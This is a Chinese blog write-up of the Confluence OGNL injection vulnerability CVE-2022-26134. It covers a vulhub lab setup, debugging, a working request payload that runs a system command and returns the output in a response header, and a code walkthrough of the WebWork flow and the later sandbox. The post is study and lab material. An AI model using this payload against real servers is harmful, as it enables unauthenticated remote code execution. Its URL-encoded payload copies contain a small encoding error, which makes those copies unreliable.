Atlassian Confluence CVE-2022-26134 RCE漏洞

已于 2023-04-22 15:45:39 修改
阅读量918 收藏
点赞数
分类专栏： 漏洞分析 文章标签： atlassian 漏洞复现 漏洞分析 CVE-2022-26134 Confluence
于 2023-04-22 15:37:58 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/sxr__nc/article/details/130284296
版权

Atlassian Confluence CVE-2022-26134 RCE漏洞

Atlassian Confluence CVE-2022-26134 RCE漏洞
漏洞简介
远程攻击者在未经身份验证的情况下，可构造OGNL表达式进行注入，实现在Confluence Server或Data Center上执行任意代码.

漏洞影响范围

Confluence Server and Data Center >= 1.3.0
Confluence Server and Data Center < 7.4.17
Confluence Server and Data Center < 7.13.7
Confluence Server and Data Center < 7.14.3
Confluence Server and Data Center < 7.15.2
Confluence Server and Data Center < 7.16.4
Confluence Server and Data Center < 7.17.4
Confluence Server and Data Center < 7.18.1

漏洞危害
漏洞评分9.8，危害等级严重，攻击者可以利用此漏洞执行任意代码，直接获得权限。
调试环境搭建
测试环境confluence版本:7.13.6
在这里插入图片描述
confluence环境搭建
采用vulhub靶场方式进行环境搭建,主要利用docker进行环境配置.
进入漏洞环境对应目录

cd /etc/vulhub/confluence/CVE-2022-26134

在这里插入图片描述
启动docker镜像

docker-compose up

在这里插入图片描述
访问http://ip:8090进行confluence配置
在这里插入图片描述

填入密钥,因为我这里已经注册过了,所以直接填入密钥,没注册过,可以点击Get an evaluation license获取密钥,之后点击next,选择standalone
在这里插入图片描述
接下来的配置如下:点击Test connection测试,显示Success!Database connected successfully之后点击next
在这里插入图片描述
到这儿,confluence的环境基本上已经搭建完毕了,接下来进行网站设置,我选择的是Empty site
在这里插入图片描述
接下来设置用户账号和密码,设置好之后点击next
在这里插入图片描述
配置成功之后点击start即可
在这里插入图片描述
动态调试环境搭建
漏洞环境搭建前期主要搭建动态调试环境,但是一直失败(这里主要记录下动态调试环境搭建过程,待之后再碰到类似的问题,希望能够解决)
动态调试环境搭建,需要在启动docker之前修改docker-compose.yml文件,添加以下内容

"5050:5050"     #这个端口作为调试端口

在这里插入图片描述
修改内容保存之后,正常启动docker,启动之后,需要修改/opt/atlassian/confluence/bin/setenv.sh文件,新增环境变量

docker ps    查看已经开启的docker镜像的相关信息

在这里插入图片描述
执行以下命令进入docker

docker exec -it 85b2add38df7 /bin/bash

要修改目标文件,需要先下载vim或者vi编辑器,执行以下命令进行apt更新以及vim下载

apt update & apt install vim

编辑器下载之后,修改目标文件,新增以下内容

CATALINA_OPTS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5050 ${CATALINA_OPTS}"

在这里插入图片描述
重启Confluence容器docker-compose restart，调试端口就开启了，接下来配置IDEA。
在这里插入图片描述
下载并且安装IDEA,具体可以参考:https://blog.csdn.net/JOJO_jiongjiong/article/details/123087307
从docker中复制confluence源码和docker中的jdk环境

docker cp 85b2add38df7:/opt/atlassian/confluence/ /home/worker/Desktop/conf   #复制confluence源码
docker cp 85b2add38df7:/opt/java/openjdk /home/worker/Desktop/jdk    #复制docker环境中的JDK环境

使用IDEA打开conf项目,设置项目的JDK环境为从docker环境中复制出来的JDK
在这里插入图片描述
新增远程调试配置
在这里插入图片描述
在这里插入图片描述
之后添加库文件:使用IDEA将/confluence/WEB-INF下的atlassian-bundled-plugins、atlassian-bundled-plugins-setup、lib文件拉取为依赖文件。
在这里插入图片描述
之后即可直接调试(这次是成功了的,可以正常动态调试,反思和之前不一样的操作就是在弹出maven下载项的时候点击了确定,可能是这个原因)
漏洞复现
向目标服务器发送如下数据包:

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 192.168.220.54:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

得到返回数据:命令执行结果在X-Cmd-Response字段中显示
在这里插入图片描述
payload的构造过程如下:
1:首先构造一个ONGL的表达式

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

2:将构造好的表达式进行URL编码

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D

需要注意一点，在URL编码之后需要在编码之后的payload末尾添加一个/，即最后的payload 应该如下:

$%7B(%23a%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%id%22).getInputStream(),%22utf-8%22)).(%40com.opensymphony.webwork.ServletActionContext%40getResponse().setHeader(%22X-Cmd-Response%22,%23a))%7D/

漏洞详细分析
查看补丁点
根据官方通告:<https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html>
修补补丁关键点在于用新的xwork-1.0.3-atlassian-10.jar替换老的xwork-1.0.3-atlassian-8.jar.对这二者进行补丁对比.对应jar包目录:/confluence/WEB-INF/lib/xwork-1.0.3-atlassian-8.jar
bindiff确认补丁点
IDEA社区版不支持这个功能,需要下载企业版…(直接进行动态调试)
动态调试
这块因为没有办法直接bindiff直接对比补丁包的修改,入手点参考网上已有的分析报告.主要参考链接在文末给出.
前置背景-WebWork 框架分析
Confluence 使用 WebWork 框架，整个 HTTP 请求逻辑是随着这个框架处理流程来的。整个HTTP请求过程如下
1:客户发起 HTTP 流程访问
2:按照 servlet 规范，先由 filter 进行处理，然后由 WebWork 核心控制器 ServletDispatcher 进行处理
3:WebWork 根据 xwork.xml 配置文件 来处理请求：在配置文件中定义路由对应的拦截器，业务逻辑，业务逻辑响应等部分
4:先依次调用拦截器 (before), 然后再由业务逻辑处理
5:根据业务逻辑返回的响应类型对响应进行渲染
6:依次调用拦截器 (after), 然后将响应输出
在这里插入图片描述
confluence 在 web.xml 中引入 WebWork 框架配置
关于Web.xml
一般的web工程中都会用到web.xml，web.xml主要用来配置，可以方便的开发web工程。web.xml主要用来配置Filter、Listener、Servlet等。但是要说明的是web.xml并不是必须的，一个web工程可以没有web.xml文件。
WEB工程加载顺序与元素节点在文件中的配置顺序无关。即不会因为 filter 写在 listener的前面而会先加载filter。WEB容器的加载顺序是：ServletContext -> context-param -> listener -> filter -> servlet。并且这些元素可以配置在文件中的任意位置。
web.xml文件的加载过程:
1:启动一个web项目的时候，web容器会去读取它的配置文件web.xml，读取<listener>和<context-param>两个结点。
2:紧接着，web容器会创建一个ServletContext（servlet上下文），这个web项目的所有部分都将共享这个上下文。
3:容器将<context-param>转换为键值对，并交给servletContext。
4:容器创建<listener>中的类实例，创建监听器。
web.xml标签详解
1:<web-app>:是部署描述的根元素
2:<display-name>:定义web应用的名称,Confluence的该键值如下:

<display-name>Confluence</display-name>

3:<disciption>:Web应用描述,Confluence的该标签内容如下:

<description>Confluence Web App</description>

4:<context-param>上下文参数,声明应用范围内的初始化参数。该元素含有一对参数名和参数值,它用于向 ServletContext提供键值对，即应用程序上下文信息.listener, filter等在初始化时会用到这些上下文中的信息。在servlet里面可以通过getServletContext().getInitParameter("context/param")得到。参数名在整个Web应用中必须是唯一的，在web应用的整个生命周期中上下文初始化参数都存在，任意的Servlet和jsp都可以随时随地访问它
5:<filter>:过滤器,Filter可认为是Servlet的一种“变种”，它主要用于对用户请求(HttpServletRequest)进行预处理,也可以对服务器响应(HttpServletResponse)进行后处理，是个典型的处理链。它与Servlet的区别在于：它不能直接向用户生成响应。完整的流程是：Filter对用户请求进行预处理，接着将请求交给Servlet进行处理并生成响应，最后Filter再对服务器响应进行后处理。
filter有如下几个用处:

在HttpServletRequest到达Servlet之前，拦截客户的HttpServletRequest。
根据需要检查HttpServletRequest，也可以修改HttpServletRequest头和数据。
在HttpServletResponse到达客户端之前，拦截HttpServletResponse。
根据需要检查HttpServletResponse,也可以修改HttpServletResponse头和数据。

创建一个Filter只需要两个步骤：1.创建Filter处理类(如：MyFiletr)实现javax.servlet.Filter接口；2.web.xml中配置Filter,以confluence中的filter配置为例进行详细阐述:

<filter>
        <filter-name>debug-before-request</filter-name>
        <filter-class>com.atlassian.confluence.web.filter.DebugFilter</filter-class>
        <init-param>
            <param-name>phase</param-name>
            <param-value>before</param-value>
        </init-param>
        <init-param>
            <param-name>dispatcher</param-name>
            <param-value>REQUEST</param-value>
        </init-param>
    </filter>

过滤器的名称为debug-before-request,实现的方法为com.atlassian.confluence.web.filter.DebugFilter类,查看具体实现:
在这里插入图片描述
上面的程序实现了doFilter()方法，实现该方法就可以实现对用户请求进行预处理.Filter接口中有一个doFilter方法，当开发人员编写好Filter类实现doFilter方法，并配置对哪个web资源进行拦截后，WEB服务器每次在调用web资源的service方法之前(服务器内部对资源的访问机制决定的)，都会先调用一下filter的doFilter方法。关于Filter的相关内容,可以参考:https://www.cnblogs.com/vanl/p/5742501.html
6<listener>:监听器
7<servlet>:用来声明一个servlet的数据,Servlet通常称为服务端小程序，是服务端的程序，用于处理及响应客户的请求。Servlet是一个特殊的Java类，创建Servlet类自动继承HttpServlet。客户端通常只有GET和POST两种请求方式，Servlet为了响应这两种请求，必须重写doGet()和doPost()方法。大部分时候，Servlet对于所有的请求响应都是完全一样的，此时只需要重写service()方法即可响应客户端的所有请求。HttpServlet有两个方法
init(ServletConfig config):创建Servlet实例时，调用该方法初始化Servlet资源;
destory():销毁Servlet实例时，自动调用该方法回收资源;
　　通常无需重写init()和destory()两个方法，除非需要在初始化Servlet时，完成某些资源初始化的方法，才考虑重写init()方法。如果重写了init()方法，应该在重写该方法的第一行调用super.init(config),该方法将调用HttpServlet的init()方法。如果需要在销毁Servlet之前，先完先完成某些资源的回收，比如关闭数据库链接，才需要重写destory()方法。
处理流程分析
首先针对Confluence的登录过程进行流程分析，访问/login.action页面，查看产生的调用栈:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SWOOuGpW-1682047212938)(image/image_20_Uh7BaUWIJ4.png)]
根据调用栈可以看到，经过一系列 Filter 处理后，将进入Servlet 的分发器 ServletDispatcher （本质上是其子类 ConfluenceServletDispatcher 对象）,在web.xml文件查找ServletDispatcher ：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lOrLy3mT-1682047212939)(image/image_21_FYWiN5QP7n.png)]
定位到目标类，查找service方法
在这里插入图片描述
在service函数中，分别通过函数 getNameSpace ,getActionName ,getRequestMap,getSessionMap,getApplicationMap 提取相应参数，处理函数和获取结果对应关系如下:

getNameSpace(request) -> namespace
getActionName(request) -> actionName
getRequestMap(request) -> requestMap
getParameterMap(request) -> parameterMap
getSessionMap(request) -> sessionMap
getApplicationMap() -> applicationMap

参数获取完毕之后，执行函数serviceAction 

public void serviceAction(HttpServletRequest request, HttpServletResponse response, String namespace, String actionName, Map requestMap, Map parameterMap, Map sessionMap, Map applicationMap) {
        HashMap extraContext = createContextMap(requestMap, parameterMap, sessionMap, applicationMap, request, response, this.getServletConfig());
        extraContext.put("com.opensymphony.xwork.dispatcher.ServletDispatcher", this);

        try {
            ActionProxy proxy = ActionProxyFactory.getFactory().createActionProxy(namespace, actionName, extraContext);
            request.setAttribute("webwork.valueStack", proxy.getInvocation().getStack());
            proxy.execute();
        } catch (ConfigurationException var11) {
            log.error("Could not find action", var11);
            this.sendError(request, response, 404, var11);
        } catch (Exception var12) {
            log.error("Could not execute action", var12);
            this.sendError(request, response, 500, var12);
        }

    }

实例化DefaultActionProxy ，执行execute处理函数
在这里插入图片描述
在这里插入图片描述
调用InvokAction，进入 DefaultActionInvocation#invoke
在这里插入图片描述
这里开始调用 Struts Interceptor 拦截器对象对请求进行处理， DefaultActionInvocation 对象拦截器集合 interceptors 一共有 32 个：
在这里插入图片描述
迭代执行拦截器之后，流程来到this.proxy.getExecuteResult，进入发现实际调用的是executeResult，
在这里插入图片描述
代码逻辑如下:

private void executeResult() throws Exception {
    this.result = createResult();
    if (this.result != null) {
      this.result.execute(this);
    } else if (!"none".equals(this.resultCode)) {
      LOG.warn("No result defined for action " + getAction().getClass().getName() + " and result " + getResultCode());
    } 
  }

查看result.execute函数执行逻辑

public void execute(ActionInvocation invocation) throws Exception {
    if (this.namespace == null)
      this.namespace = invocation.getProxy().getNamespace(); 
    OgnlValueStack stack = ActionContext.getContext().getValueStack();
    String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
    String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
    if (isInChainHistory(finalNamespace, finalActionName))
      throw new XworkException("infinite recursion detected"); 
    addToHistory(finalNamespace, finalActionName);
    HashMap<Object, Object> extraContext = new HashMap<Object, Object>();
    extraContext.put("com.opensymphony.xwork.util.OgnlValueStack.ValueStack", ActionContext.getContext().getValueStack());
    extraContext.put("com.opensymphony.xwork.ActionContext.parameters", ActionContext.getContext().getParameters());
    extraContext.put("com.opensymphony.xwork.interceptor.component.ComponentManager", ActionContext.getContext().get("com.opensymphony.xwork.interceptor.component.ComponentManager"));
    extraContext.put("CHAIN_HISTORY", ActionContext.getContext().get("CHAIN_HISTORY"));
    if (log.isDebugEnabled())
      log.debug("Chaining to action " + finalActionName); 
    this.proxy = ActionProxyFactory.getFactory().createActionProxy(finalNamespace, finalActionName, extraContext);
    this.proxy.execute();
  }

提取 namespace 参数，并调用 translateVariables 函数，进入查看函数处理流程:
在这里插入图片描述
调用findvalue函数，通过前边的分析过程可知， namespace 参数通过 ServletDispatcher#getNameSpace 函数获取，查看函数定义：

protected String getNameSpace(HttpServletRequest request) {
        String servletPath = request.getServletPath();
        return getNamespaceFromServletPath(servletPath);
    }
    
public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }

根据上述代码逻辑，不难得出这样的结论: namespace 取值为请求 servletPath 最后一个 / 之前的部分,这其实也是我们的POC末尾为什么一定要加一个/的原因。同时需要注意，匹配的正则表达式如下:

\$\{([^}]*)\}

这样构造POC就容易很多，甚至可以在这里直接修改namespace参数满足这个正则表达式：
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1szeskRu-1682047212944)在这里插入图片描述
沙箱绕过与命令执行

从v7.15系列开始，Confluence在OGNL表达式解析时加入了沙箱设置：处理逻辑如下:新增了isSafeExpression判断逻辑

public Object findValue(String expr) {
    try {
      if (expr == null)
        return null; 
      if (!this.safeExpressionUtil.isSafeExpression(expr))
        return null; 
      if (this.overrides != null && this.overrides.containsKey(expr))
        expr = (String)this.overrides.get(expr); 
      if (this.defaultType != null)
        return findValue(expr, this.defaultType); 
      return Ognl.getValue(OgnlUtil.compile(expr), this.context, this.root);
    } catch (OgnlException e) {
      return null;
    } catch (Exception e) {
      LOG.warn("Caught an exception while evaluating expression '" + expr + "' against value stack", e);
      return null;
    } 
  }

查看isSafeExpression处理逻辑

 public boolean isSafeExpression(String expression) {
    return isSafeExpressionInternal(expression, new HashSet<>());
  }

private boolean isSafeExpressionInternal(String expression, Set<String> visitedExpressions) {
    if (!this.SAFE_EXPRESSIONS_CACHE.contains(expression)) {
      if (this.UNSAFE_EXPRESSIONS_CACHE.contains(expression))
        return false; 
      if (isUnSafeClass(expression)) {
        this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
        return false;
      } 
      if (SourceVersion.isName(trimQuotes(expression)) && this.allowedClassNames.contains(trimQuotes(expression))) {
        this.SAFE_EXPRESSIONS_CACHE.add(expression);
      } else {
        try {
          Object parsedExpression = OgnlUtil.compile(expression);
          if (parsedExpression instanceof Node)
            if (containsUnsafeExpression((Node)parsedExpression, visitedExpressions)) {
              this.UNSAFE_EXPRESSIONS_CACHE.add(expression);
              log.debug(String.format("Unsafe clause found in [\" %s \"]", new Object[] { expression }));
            } else {
              this.SAFE_EXPRESSIONS_CACHE.add(expression);
            }  
        } catch (OgnlException|RuntimeException ex) {
          this.SAFE_EXPRESSIONS_CACHE.add(expression);
          log.debug("Cannot verify safety of OGNL expression", ex);
        } 
      } 
    } 
    return this.SAFE_EXPRESSIONS_CACHE.contains(expression);
  }

这里后续没有动态调试，可以查看参考链接中的部分内容

参考链接
https://paper.seebug.org/1912/
https://www.cnblogs.com/vanl/p/5742501.html
https://www.cnblogs.com/vanl/p/5737656.html

Psy_Hacker
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
atlassian-confluence-6.15.1-x64.bin.tar.gz
10-21
atlassian-confluence-6.15.1-x64.bin.tar.gz
atlassian-confluence-6.15.7-x64.bin
09-10
Confluence是一个专业的企业知识管理与协同软件，也可以用于构建企业wiki。使用简单，但它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论，信息推送。
docker-atlassian-confluence-data-center:Dockerized Atlassian Confluence Data Center 用于插件开发期间的本地测试
05-29
Docker Atlassian Confluence 数据中心 使用 Docker 启动，以便在插件开发期间进行本地测试。 它启动一个PostgreSQL数据库，几个Confluence群集节点和Apache2 HTTPD作为粘性会话负载平衡器。 共享的 confluence-home 是通过共享的 Docker 卷处理的。 这并不意味着在生产中使用！ 集群设计为非持久性的，这意味着一旦您关闭它，所有数据都会丢失。 将其视为的数据中心版本。 请选择您要运行的 Confluence 版本： ⇨ 请注意： :warning: 从 7.0.1 版本开始，我们使用官方的 Atlassian Docker 镜像和 docker compose。 旧版本可以在 我们不提供支持。 如果您对如何运行 Confluence 和/或 Confluence Data Center 有任何疑问，请在提问。 商标和第三
实用高效，27款腾讯热门开源项目推荐
weixin_34321977的博客
10-19 248
2019独角兽企业重金招聘Python工程师标准>>> ...
高危漏洞预警 | Atlassian Confluence OGNL注入命令执行漏洞复现与分析报告
Fortinet_CHINA的博客
06-16 1667
近日，Volexity（volexity.com，以下简称为：Volexity）在对从Confluence Server系统收集到的数据进行彻底审查后，发现了攻击者启动Exp以实现远程代码执行，随后Volexity重新创建了该漏洞的利用并在最新版本的Confluence Server上进行了复现。Atlassian 已确认该漏洞，并上报给CVE，确认漏洞编号为“ CVE-2022-26134。Fortinet 中国安全团队针对此次漏洞信息，进行即时响应并成功验证。......
Confluence CVE-2021-26084远程代码执行漏洞复现
热门推荐
Websec
09-08 1万+
一、漏洞概述 近日，Atlassian官方发布了ConfluenceServerWebworkOGNL注入漏洞（CVE-2021-26084）的安全公告，远程攻击者在经过身份验证或在特定环境下未经身份验证的情况下，可构造OGNL表达式进行注入，实现在 Confluence Server或Data Center上执行任意代码，CVSS评分为9.8。请相关用户尽快采取措施进行防护。 Atlassian Confluence是Atlassian公司出品的专业wiki程序。它可以作为一个知识管理的工具，...
Confluence 文件读取漏洞(CVE-2019-3394)分析
chr8230401的博客
09-03 554
作者: Badcode@知道创宇404实验室 日期: 2019/08/29 英文版本: https://paper.seebug.org/1026/ 前言 下午 @fnmsd 师傅发了个 Confluence 的预警给我，我看了下补丁，复现了这个漏洞，本篇文章记录下这个漏洞的应急过程。 看下...
攻防实战之Confluence后利用
weixin_39251927的博客
11-16 1419
这边管理员密码是密文加密在数据库中，解不开，因此解决的思路是将管理员用户密码修改为已知明文密码的密文（这边不能直接在数据库中添加字段，关系型数据库在单表中添加一条字段可能会出现问题），登录上后台以后，添加用户并加入管理员组，最后将管理员密码还原。Confluence的后利用主要问题在于在Linux中搭建时，默认是Confluence用户权限，如下图所示，而confluence在linux中是没有写权限的，这也就是为什么有些人发现可以执行命令但是shell写不进去。至此admin的密码被改为了123123。
Confluence 未授权漏洞分析（CVE-2023-22515）
2301_80115097的博客
11-28 119
在处理完上述工作后，Struts2 就会调用拦截器链中的拦截器，这些拦截器会根据用户请求参数值去更新 ValueStack 对象顶层节点的相应属性的值，最后会传到 Action 对象，并将 ValueStack 对象中的属性值，赋给 Action 类的相应属性。总的来说， 因为 方法的一些逻辑问题， 导致这个类自身对传入参数的过滤并没有生效， 我们最终还是可以通过 的形式去调用当前 action 的 getter / setter， 并不需要关心方法本身或者它的 returnType 是否使用了 注解。
Confluence RCE CVE-2019-3396 详细分析与调试
最新发布
u010704579的博客
12-12 196
Confluence RCE CVE-2019-3396
Atlassian-Confluence-Trojan:Atlassian-Confluence-Trojan
05-17
Atlassian-Confluence-Trojan Ref: Atlassian-Confluence-Trojan Get a shell by deploy this Trojan-Marco 制作方法: 先将quote-macro-1.0.jar解压 将 UpdateMethod.java 中的{path}替换为目录的绝对路径 然后...
docker-atlassian-confluence：打包在Docker映像中的Atlassian Confluence
02-16
docker run --detach --publish 8090:8090 cptactionhank/atlassian-confluence:latest 然后只需将您喜欢的浏览器导航到http://[dockerhost]:8090并完成配置。 配置 您可以通过提供以下环境变量来配置少量内容 环境...
confluence漏洞复现
Shanfenglan's blog
12-02 3024
文章目录1. confluence路径穿越与命令之执行 (CVE-2019-3396)1.1 利用2. Confluence OGNL表达式注入代码执行漏洞（CVE-2021-26084）2.1 利用参考文章 1. confluence路径穿越与命令之执行 (CVE-2019-3396) 影响版本：6.14.2版本前 通过该漏洞，攻击者可以读取任意文件，或利用Velocity模板注入执行任意命令。 1.1 利用 POST /rest/tinymce/1/macro/preview HTTP/1.1 Host
Spark Debug
weixin_40901056的博客
05-25 1297
报错：大数据量没问题，小数据量报错 java.io.EOFException: Premature EOF: no length prefix available at org.apache.hadoop.hdfs.protocolPB.PBHelper.vintPrefixed(PBHelper.java:2326) at org.apache.hadoop.hdfs.protocol.data...
confluence的一些环境变量说明
02-02 1645
Confluence支持一些可以通过Java系统属性启用的配置和调试设置。通常通过将-D标志传递给运行Confluence的Java虚拟机来设置系统属性。请参阅完整说明：配置系统属性。 since 默认值 影响 ...
漏洞&修复规范描述
数据安全学习分享
08-07 783
严重不安全系统高危不安全系统中危不安全系统低危不安全系统安全系统严重漏洞高危漏洞中危漏洞低危漏洞认证应用主机APP代码web 后台系统弱口令详情由于网站用户帐号存在弱口令，导致攻击者通过弱口令可轻松登录到网站中，从而进行下一步的攻击，例如上传 webshell，获取敏感数据，另外攻击者利用弱口令登录网站管理后台，可执行任意管理员的操作。造成的危害攻击者利用此漏洞可直接进入应用系统或者管理系统，从而进行系统、网页、数据的篡改与删除，非法获取系统、用户的数据，甚至可能导致服务器沦陷。修复建议用户层面系统层面ft
【风险预警】Confluence Wiki OGNL注入漏洞（CVE-2022-26134）
murphysec的博客
06-04 4497
6月4日，墨菲安全实验室监测发现Atlassian修复了Confluence Server 和 Confluence Data Center 中的OGNL注入漏洞。Atlassian Confluence是企业常用的wiki系统，攻击者无需认证可利用漏洞在Confluence Server 或 Confluence Data Center 系统中执行任意代码。CVSS评分为9.8分，评级为严重，按照官方描述该漏洞受影响版本为：所有受支持的 Confluence Server 和 Confluence Dat
Confluence 修复 CVE-2021-26084 OGNL注入漏洞
weixin_56306210的博客
06-21 1556
Confluence 修复 CVE-2021-26084 OGNL注入漏洞
Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
sxr__nc的博客
04-19 3018
此漏洞的主要利用手法是通过。符号没有进行处理，就会导致上述类型的攻击，攻击者在发送上述类型的数据包的时候可以新建一个。的内容,这样一来处理数据会很方便，但同时也会有巨大的安全隐患:如果把目标。获取，其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的。，在解析的过程中遇到实体的引用会直接获取相应的内容，即这里碰到。函数的处理流程，在整体的处理过程中对于请求的数据包，只针对。两个字段进行的解析，在解析的过程中会判断获取到的邮箱地址和。免费、简单，已经获得了广泛的支持，方便大众的使用。
atlassian-extras-2.2.2.jar
11-29
atlassian-extras-2.2.2.jar是Atlassian软件的一个附加组件，它是一个Java Archive（JAR）文件。Atlassian是一家提供软件开发和协作工具的公司，他们提供了一系列流行的软件产品，如JIRA、Confluence、Bitbucket等。 atlassian-extras-2.2.2.jar提供了一些额外的功能和工具，以增强Atlassian软件的功能和性能。这个JAR文件包含了一些Atlassian软件的库文件、插件和扩展，可以被集成到Atlassian软件的环境中。 通过引入atlassian-extras-2.2.2.jar，用户可以获得一些高级功能和工具，例如增强的报告和统计功能、个性化设置、自定义字段、插件管理等。这些功能可以帮助用户更好地管理和跟踪项目、协作和团队的工作。 为了使用atlassian-extras-2.2.2.jar，用户需要将该文件添加到他们的项目或Atlassian软件的类路径中。这样，Atlassian软件就可以加载并使用这些额外的功能和工具。 总之，atlassian-extras-2.2.2.jar是Atlassian软件的一个附加组件，它提供了一些额外的功能和工具，以增强Atlassian软件的功能和性能。用户可以通过将这个JAR文件添加到他们的项目或Atlassian软件的类路径中来使用这些功能和工具。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值